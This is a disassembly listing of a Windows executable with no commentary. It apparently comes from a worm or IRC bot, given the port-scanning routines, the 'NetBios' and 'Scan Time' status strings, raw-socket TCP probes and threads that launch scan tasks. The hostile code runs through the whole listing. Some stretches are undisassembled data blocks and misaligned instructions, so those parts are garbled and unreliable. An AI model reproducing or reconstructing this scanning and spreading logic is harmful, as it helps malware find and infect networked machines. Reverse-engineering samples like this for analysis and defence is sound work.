; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4091C6 proc near ; CODE XREF: sub_409098+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4091E2: ; CODE XREF: sub_4091C6+3Aj
cmp [eax], bl
jz short loc_409202
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_4091F7
cmp cl, 2Ah
jnz short loc_409202
cmp cl, 3Fh
jnz short loc_4091FA
loc_4091F7: ; CODE XREF: sub_4091C6+25j
inc eax
mov [edi], eax
loc_4091FA: ; CODE XREF: sub_4091C6+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4091E2
; ---------------------------------------------------------------------------
loc_409202: ; CODE XREF: sub_4091C6+1Ej
; sub_4091C6+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40920D
inc dword ptr [esi]
jmp short loc_409202
; ---------------------------------------------------------------------------
loc_40920D: ; CODE XREF: sub_4091C6+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40922E
mov edx, [esi]
cmp [edx], bl
jz short loc_40921F
xor eax, eax
jmp short loc_40928E
; ---------------------------------------------------------------------------
loc_40921F: ; CODE XREF: sub_4091C6+53j
cmp cl, bl
jnz short loc_40922E
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40922E
push 1
pop eax
jmp short loc_40928E
; ---------------------------------------------------------------------------
loc_40922E: ; CODE XREF: sub_4091C6+4Dj
; sub_4091C6+5Bj ...
push eax
push dword ptr [esi]
call sub_409098
pop ecx
test eax, eax
pop ecx
jnz short loc_409278
loc_40923C: ; CODE XREF: sub_4091C6+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_409240: ; CODE XREF: sub_4091C6+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_409258
cmp cl, 5Bh
jz short loc_409258
cmp dl, bl
jz short loc_409258
inc eax
mov [edi], eax
jmp short loc_409240
; ---------------------------------------------------------------------------
loc_409258: ; CODE XREF: sub_4091C6+82j
; sub_4091C6+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40926F
push eax
push dword ptr [esi]
call sub_409098
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_409274
; ---------------------------------------------------------------------------
loc_40926F: ; CODE XREF: sub_4091C6+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_409274: ; CODE XREF: sub_4091C6+A7j
cmp eax, ebx
jnz short loc_40923C
loc_409278: ; CODE XREF: sub_4091C6+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40928B
mov eax, [esi]
cmp [eax], bl
jnz short loc_40928B
mov [ebp+var_4], 1
loc_40928B: ; CODE XREF: sub_4091C6+B6j
; sub_4091C6+BCj
mov eax, [ebp+var_4]
loc_40928E: ; CODE XREF: sub_4091C6+57j
; sub_4091C6+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4091C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409293 proc near ; CODE XREF: seg000:004081EAp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset dword_444274
push eax
xor ebx, ebx
call sub_41D260
cmp ds:dword_4439F0, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_409305
push esi
mov esi, offset dword_4439F8
loc_4092C6: ; CODE XREF: sub_409293+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_4092FB
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_4442B4
push eax
call sub_41D260
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41E710
add esp, 1Ch
loc_4092FB: ; CODE XREF: sub_409293+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_4092C6
pop esi
loc_409305: ; CODE XREF: sub_409293+2Bj
push ds:dword_4DF1BC
call sub_41A227
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41D260
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41E710
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
lea eax, [ebp+var_200]
push eax
call sub_4161A7
add esp, 38h
pop edi
pop ebx
leave
retn
sub_409293 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
mov eax, ds:dword_4E1D38
mov ecx, ds:dword_4E1D34
push esi
push ds:dword_4DF1BC
lea esi, [ecx+eax]
call sub_41A227
push eax
push esi
push ds:dword_4E1D38
lea eax, [ebp-200h]
push ds:dword_4E1D34
push offset dword_4442D4
push eax
call sub_41D260
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
lea eax, [ebp-200h]
push eax
call sub_4161A7
add esp, 34h
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push ds:dword_4DF1BC
call sub_41A227
push eax
lea eax, [ebp-200h]
push ds:dword_4E2640
push offset dword_44434C
push eax
call sub_41D260
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
lea eax, [ebp-200h]
push eax
call sub_4161A7
add esp, 2Ch
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41DEB0
push edi
lea eax, [ebp-800h]
push offset dword_44439C
push eax
call sub_41D260
cmp ds:dword_4439F0, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40948C
push esi
mov esi, offset aNetbios ; "NetBios"
loc_409455: ; CODE XREF: seg000:00409489j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp-1000h]
push offset dword_4443D4
push eax
call sub_41D260
lea eax, [ebp-1000h]
push edi
push eax
lea eax, [ebp-800h]
push eax
call sub_41E710
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_409455
pop esi
loc_40948C: ; CODE XREF: seg000:0040944Dj
push ds:dword_4DF1BC
call sub_41A227
push eax
lea eax, [ebp-1000h]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41D260
lea eax, [ebp-1000h]
push edi
push eax
lea eax, [ebp-800h]
push eax
call sub_41E710
push 0
lea eax, [ebp-800h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
lea eax, [ebp-800h]
push eax
call sub_4161A7
add esp, 34h
pop edi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call ds:dword_451530
xor edi, edi
mov [ebp-8], eax
cmp ds:dword_4439F0, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_409644
mov ebx, offset dword_4439F0
mov eax, ebx
loc_409537: ; CODE XREF: seg000:0040963Ej
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_409CC8
add esp, 0Ch
cmp eax, 1
jnz loc_409634
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset dword_4443F4
push eax
call sub_41D260
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_40145D
lea eax, [ebp-3F0h]
push eax
call sub_4161A7
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41D260
lea eax, [ebp-15Ch]
push esi
push eax
call sub_41D260
add esp, 3Ch
cmp byte ptr [ebp-0A4h], 0
lea eax, [ebp-0A4h]
jnz short loc_4095CF
lea eax, [ebp-124h]
loc_4095CF: ; CODE XREF: seg000:004095C7j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41D260
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_409634: ; CODE XREF: seg000:0040954Aj
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_409537
loc_409644: ; CODE XREF: seg000:0040952Aj
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset dword_444440
push eax
call sub_41D260
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_40145D
lea eax, [ebp-3F0h]
push eax
call sub_4161A7
push dword ptr [ebp-18h]
call sub_40905B
add esp, 2Ch
push edi
call near ptr 3D0000h
loc_409696: ; CODE XREF: seg000:00407B64p
adc byte ptr [ebp-75h], 0ECh
sub esp, 200h
push 0Bh
call sub_408F87
test eax, eax
pop ecx
jle short loc_4096D3
mov eax, [ebp+14h]
push ds:dword_4DF378[eax*8]
call ds:dword_45157C
push eax
lea eax, [ebp-200h]
push offset dword_444490
push eax
call sub_41D260
add esp, 0Ch
jmp short loc_4096E6
; ---------------------------------------------------------------------------
loc_4096D3: ; CODE XREF: seg000:004096AAj
lea eax, [ebp-200h]
push offset dword_4444CC
push eax
call sub_41D260
pop ecx
pop ecx
loc_4096E6: ; CODE XREF: seg000:004096D1j
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
lea eax, [ebp-200h]
push eax
call sub_4161A7
add esp, 18h
leave
retn
; ---------------------------------------------------------------------------
loc_40970E: ; CODE XREF: sub_40A146+4Fp
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+138h]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_409BE0
shl eax, 6
xor ebx, ebx ; CODE XREF: seg000:0040976Bj
cmp ds:dword_4439FC[eax], ebx
jz loc_409BE0
push 5
call sub_408F87
test eax, eax
pop ecx
jnz loc_409995
mov eax, ds:dword_43CC58
push edi
mov esi, offset dword_4E1434
push 104h
push esi
push ebx
mov ds:dword_4E1644, eax
mov ds:dword_4E1640, ebx
call near ptr 3D0000h
jz short near ptr loc_40972B+1
mov esp, 680043CCh
add eax, [ecx]
; ---------------------------------------------------------------------------
dd 68570000h, 4E1538h, 1407FE8h, 18858B00h, 83000001h
dd 9D380CC4h, 98h, 4E1430A3h, 40858B00h, 6A000001h, 16C8A37Fh
dd 1D75004Eh, 5018458Dh, 4E164868h, 404EE800h, 0C4830001h
dd 0CC05C70Ch, 1004E16h, 0EB000000h, 98858D1Ah, 50000000h
dd 4E164868h, 402EE800h, 0C4830001h, 0CC1D890Ch, 56004E16h
dd 0FDFC858Dh, 35FFFFFFh, 4E1644h, 44450868h, 6DE85000h
dd 5300013Ah, 0FDFC858Dh, 56AFFFFh, 0F53DE850h, 0C483FFFFh
dd 163CA31Ch, 458D004Eh, 685350FCh, 4E1430h, 412AD068h
dd 0FF535300h, 4F131C15h, 3C0D8B00h, 69004E16h, 234C9h
dd 89C33B00h, 4523CC81h, 39127400h, 4E16D01Dh, 6A257500h
dd 0F415FF32h, 0EB004F12h, 1015FFEEh, 50004F13h, 0FDFC858Dh
dd 6468FFFFh, 50004445h, 139FFE8h, 0CC48300h, 0FDFC858Dh
dd 0E850FFFFh, 0C937h, 4DF1B8A1h, 16DCBE00h, 4C7004Eh
dd 10424h, 0A3535600h, 4E18ECh, 18E81D89h, 6DE8004Eh, 9DFFFC67h
dd 10368h, 0E0685700h, 0E8004E17h, 13F5Ch, 118858Bh, 0C4830000h
dd 989D380Ch, 0A3000000h, 4E16D8h, 140858Bh, 0A35F0000h
dd 4E1970h, 1D757F6Ah, 5018458Dh, 4E18F068h, 3F2AE800h
dd 0C4830001h, 7405C70Ch, 1004E19h, 0EB000000h, 98858D1Ah
dd 50000000h, 4E18F068h, 3F0AE800h, 0C4830001h, 741D890Ch
dd 56004E19h, 0FDFC858Dh, 35FFFFFFh, 4E18ECh, 4445B868h
dd 49E85000h, 53000139h, 0FDFC858Dh, 46AFFFFh, 0F419E850h
dd 0C483FFFFh, 18E4A31Ch, 458D004Eh, 685350FCh, 4E16D8h
dd 40FCCD68h, 0FF535300h, 4F131C15h, 0E40D8B00h, 69004E18h
dd 234C9h, 89C33B00h, 4523CC81h, 39127400h, 4E19781Dh
dd 6A257500h, 0F415FF32h, 0EB004F12h, 1015FFEEh, 50004F13h
dd 0FDFC858Dh, 1468FFFFh, 50004446h, 138DBE8h, 0CC48300h
dd 0FDFC858Dh, 0E850FFFFh, 0C813h
; ---------------------------------------------------------------------------
pop ecx
loc_409995: ; CODE XREF: seg000:00409743j
mov eax, [ebp+138h]
mov ecx, eax
shl ecx, 6
cmp ds:dword_443A04[ecx], ebx
jz loc_409ABE
push 7
call sub_408F87
test eax, eax
pop ecx
jnz loc_409AB8
mov eax, ds:dword_4E2638
cmp [ebp+98h], bl
mov ds:dword_4E139C, eax
mov eax, [ebp+118h]
mov ds:dword_4E1390, eax
mov eax, [ebp+140h]
mov ds:dword_4E1398, ebx
mov ds:dword_4E1420, eax
push 7Fh
jnz short loc_409A09
lea eax, [ebp+18h]
push eax
push offset dword_4E13A0
call sub_41D800
add esp, 0Ch
mov ds:dword_4E1424, 1
jmp short loc_409A23
; ---------------------------------------------------------------------------
loc_409A09: ; CODE XREF: seg000:004099EAj
lea eax, [ebp+98h]
push eax
push offset dword_4E13A0
call sub_41D800
add esp, 0Ch
mov ds:dword_4E1424, ebx
loc_409A23: ; CODE XREF: seg000:00409A07j
push ds:dword_4E139C
lea eax, [ebp-204h]
push offset unk_44466C
push eax
call sub_41D260
push ebx
lea eax, [ebp-204h]
push 7
push eax
call sub_408D3F
add esp, 18h
mov ds:dword_4E1394, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4E1390
push offset loc_40F9BF
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, ds:dword_4E1394
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_409A90
loc_409A7E: ; CODE XREF: seg000:00409A8Ej
cmp ds:dword_4E1428, ebx
jnz short loc_409AAB
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_409A7E
; ---------------------------------------------------------------------------
loc_409A90: ; CODE XREF: seg000:00409A7Cj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset dword_4446B4
push eax
call sub_41D260
add esp, 0Ch
loc_409AAB: ; CODE XREF: seg000:00409A84j
lea eax, [ebp-204h]
push eax
call sub_4161A7
pop ecx
loc_409AB8: ; CODE XREF: seg000:004099B6j
mov eax, [ebp+138h]
loc_409ABE: ; CODE XREF: seg000:004099A6j
shl eax, 6
cmp ds:dword_443A00[eax], ebx
jz loc_409BE0
push 3
call sub_408F87
test eax, eax
pop ecx
jnz loc_409BE0
mov esi, offset dword_4E1C0C
push 104h
push esi
push ebx
call near ptr 3D0000h
cmp eax, 0E8565C6Ah
test eax, 59000148h
cmp eax, ebx
pop ecx
jz short loc_409AFF
mov [eax], bl
loc_409AFF: ; CODE XREF: seg000:00409AFBj
mov eax, ds:dword_43CC5C
mov ds:dword_4E1D24, ebx
mov ds:dword_4E1D10, eax
lea eax, [ebp+18h]
push eax
push offset dword_4E1984
call sub_41D260
mov eax, [ebp+118h]
pop ecx
pop ecx
mov ds:dword_4E1980, eax
mov ecx, [ebp+140h]
push esi
push ds:dword_4E1D10
mov ds:dword_4E1D1C, ecx
mov ecx, [ebp+144h]
push eax
mov ds:dword_4E1D20, ecx
call sub_402617
pop ecx
push eax
lea eax, [ebp-204h]
push offset dword_444710
push eax
call sub_41D260
push ebx
lea eax, [ebp-204h]
push 3
push eax
call sub_408D3F
add esp, 20h
mov ds:dword_4E1D18, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4E1980
push offset sub_410418
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, ds:dword_4E1D18
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_409BB8
loc_409BA6: ; CODE XREF: seg000:00409BB6j
cmp ds:dword_4E1D2C, ebx
jnz short loc_409BD3
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_409BA6
; ---------------------------------------------------------------------------
loc_409BB8: ; CODE XREF: seg000:00409BA4j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset dword_444778
push eax
call sub_41D260
add esp, 0Ch
loc_409BD3: ; CODE XREF: seg000:00409BACj
lea eax, [ebp-204h]
push eax
call sub_4161A7
pop ecx
loc_409BE0: ; CODE XREF: seg000:00409722j
; seg000:00409733j ...
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409BE4 proc near ; CODE XREF: sub_409F32:loc_409FA3p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4DF378h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41E840
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_451420
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_4514F0
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41E840
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_409BE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C2C proc near ; CODE XREF: sub_409F32+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41AC70
cmp eax, 0Fh
pop ecx
jbe short loc_409C54
xor eax, eax
jmp short loc_409CC5
; ---------------------------------------------------------------------------
loc_409C54: ; CODE XREF: sub_409C2C+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset dword_4447D0
push [ebp+arg_0]
call sub_41EB80
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_409C81
call sub_41DBA0
mov [ebp+var_C], eax
loc_409C81: ; CODE XREF: sub_409C2C+4Bj
cmp [ebp+var_8], esi
jnz short loc_409C8E
call sub_41DBA0
mov [ebp+var_8], eax
loc_409C8E: ; CODE XREF: sub_409C2C+58j
cmp [ebp+var_4], esi
jnz short loc_409C9B
call sub_41DBA0
mov [ebp+var_4], eax
loc_409C9B: ; CODE XREF: sub_409C2C+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_409CA7
call sub_41DBA0
loc_409CA7: ; CODE XREF: sub_409C2C+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov ds:dword_4DF378[ecx*8], eax
loc_409CC5: ; CODE XREF: sub_409C2C+26j
pop esi
leave
retn
sub_409C2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CC8 proc near ; CODE XREF: seg000:0040953Fp
; sub_409F32+B8p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_451570
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_409CF1
xor eax, eax
jmp short loc_409D60
; ---------------------------------------------------------------------------
loc_409CF1: ; CODE XREF: sub_409CC8+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_4514F4
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_45158C
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call ds:dword_45149C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call ds:dword_4514DC
push esi
mov edi, eax
call ds:dword_451588
xor eax, eax
cmp edi, ebx
setnle al
loc_409D60: ; CODE XREF: sub_409CC8+27j
pop edi
pop esi
pop ebx
leave
retn
sub_409CC8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10110h
call sub_41DEB0
push ebx
push esi
push edi
mov edi, 2649h
push edi
call ds:dword_4514F4
push dword ptr [ebp+10h]
mov [ebp-28h], ax
call ds:dword_4514F4
mov [ebp-26h], ax
call sub_41DBA0
xor ebx, ebx
push 200h
mov [ebp-24h], eax
mov [ebp-20h], ebx
mov [ebp-1Ch], bx
mov [ebp-0Ch], bx
mov word ptr [ebp-1Ah], 5
mov [ebp-18h], bx
mov word ptr [ebp-16h], 1
mov [ebp-14h], bx
mov [ebp-12h], bx
mov [ebp-10h], bx
mov [ebp-0Eh], bx
call ds:dword_4514F4
mov esi, [ebp+0Ch]
mov [ebp-0Ah], ax
mov eax, [ebp+8]
push 24h
mov [ebp-8], bx
mov [ebp-6], bx
mov [ebp-58h], eax
mov [ebp-54h], esi
mov [ebp-50h], bl
mov byte ptr [ebp-4Fh], 6
call ds:dword_4514F4
mov [ebp-4Eh], ax
lea eax, [ebp-28h]
push 24h
push eax
lea eax, [ebp-4Ch]
push eax
call sub_41E840
lea eax, [ebp-58h]
push 20h
push eax
call sub_402670
mov [ebp-8], ax
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call sub_41D100
add esp, 20h
mov word ptr [ebp-38h], 2
push dword ptr [ebp+10h]
call ds:dword_4514F4
push 6
push 3
push 2
mov [ebp-36h], ax
mov [ebp-34h], esi
mov dword ptr [ebp-4], 10h
call ds:dword_451570
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_409E64
push offset aSocketOpenFail ; "socket open failed"
jmp loc_409F25
; ---------------------------------------------------------------------------
loc_409E64: ; CODE XREF: seg000:00409E58j
push dword ptr [ebp-4]
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-28h]
push 24h
push eax
push esi
call ds:dword_451554
cmp eax, 14h
mov [ebp+10h], eax
jz short loc_409EAD
call ds:dword_451488
push eax
lea eax, [ebp-0D8h]
push dword ptr [ebp+10h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push eax
call sub_41D260
lea eax, [ebp-0D8h]
push eax
call sub_4161A7
add esp, 14h
jmp short loc_409EF6
; ---------------------------------------------------------------------------
loc_409EAD: ; CODE XREF: seg000:00409E7Fj
push 10038h
lea eax, [ebp-10110h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
loc_409EC2: ; CODE XREF: seg000:00409EE9j
cmp [ebp-100FAh], di
jz short loc_409EFF
lea eax, [ebp-4]
push eax
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-10110h]
push 10038h
push eax
push esi
call ds:dword_4514CC
test eax, eax
jge short loc_409EC2
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4161A7
pop ecx
loc_409EF6: ; CODE XREF: seg000:00409EABj
push esi
call ds:dword_451588
jmp short loc_409F2B
; ---------------------------------------------------------------------------
loc_409EFF: ; CODE XREF: seg000:00409EC9j
push esi
call ds:dword_451588
cmp word ptr [ebp-100EAh], 1
jnz short loc_409F20
push offset aSocketOpen_ ; "Socket open."
call sub_4161A7
pop ecx
push 1
pop eax
jmp short loc_409F2D
; ---------------------------------------------------------------------------
loc_409F20: ; CODE XREF: seg000:00409F0Ej
push offset aSocketClosed_ ; "Socket closed."
loc_409F25: ; CODE XREF: seg000:00409E5Fj
call sub_4161A7
pop ecx
loc_409F2B: ; CODE XREF: seg000:00409EFDj
xor eax, eax
loc_409F2D: ; CODE XREF: seg000:00409F1Ej
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F32 proc near ; DATA XREF: sub_40A146+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
mov ebx, esi
pop ecx
imul ebx, 234h
loc_409F79: ; CODE XREF: sub_409F32+200j
mov eax, ds:dword_4523BC[ebx]
cmp ds:dword_4DF37C[eax*8], 0
jz loc_40A137
cmp [ebp+var_10], 0
push eax
jz short loc_409FA3
lea eax, [ebp+var_150]
push eax
call sub_409C2C
pop ecx
jmp short loc_409FA8
; ---------------------------------------------------------------------------
loc_409FA3: ; CODE XREF: sub_409F32+60j
call sub_409BE4
loc_409FA8: ; CODE XREF: sub_409F32+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push ds:dword_4523BC[ebx]
push [ebp+var_3C]
push edi
call ds:dword_45157C
push eax
lea eax, [ebp+var_28C]
push offset dword_444854
push eax
call sub_41D260
lea eax, [ebp+var_28C]
push eax
lea eax, dword_4521B8[ebx]
push eax
call sub_41D260
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_409CC8
add esp, 2Ch
cmp eax, 1
jnz loc_40A127
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40A07C
push offset dword_4E1378
call ds:dword_4F1364 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call ds:dword_45157C
push eax
lea eax, [ebp+var_28C]
push offset dword_4448B8
push eax
call sub_41D260
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40A05E
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40A052
lea eax, [ebp+var_140]
loc_40A052: ; CODE XREF: sub_409F32+118j
push eax
push [ebp+var_40]
call sub_40145D
add esp, 14h
loc_40A05E: ; CODE XREF: sub_409F32+FDj
lea eax, [ebp+var_28C]
push eax
call sub_4161A7
mov [esp+2A8h+var_2A8], offset dword_4E1378
call ds:dword_4F1360 ; RtlLeaveCriticalSection
jmp loc_40A127
; ---------------------------------------------------------------------------
loc_40A07C: ; CODE XREF: sub_409F32+CDj
push edi
call ds:dword_45157C
push eax
lea eax, [ebp+var_208]
push eax
call sub_41D260
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aNetbios_0 ; "netbios"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41D260
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40A0C0
lea eax, [ebp+var_140]
loc_40A0C0: ; CODE XREF: sub_409F32+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41D260
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
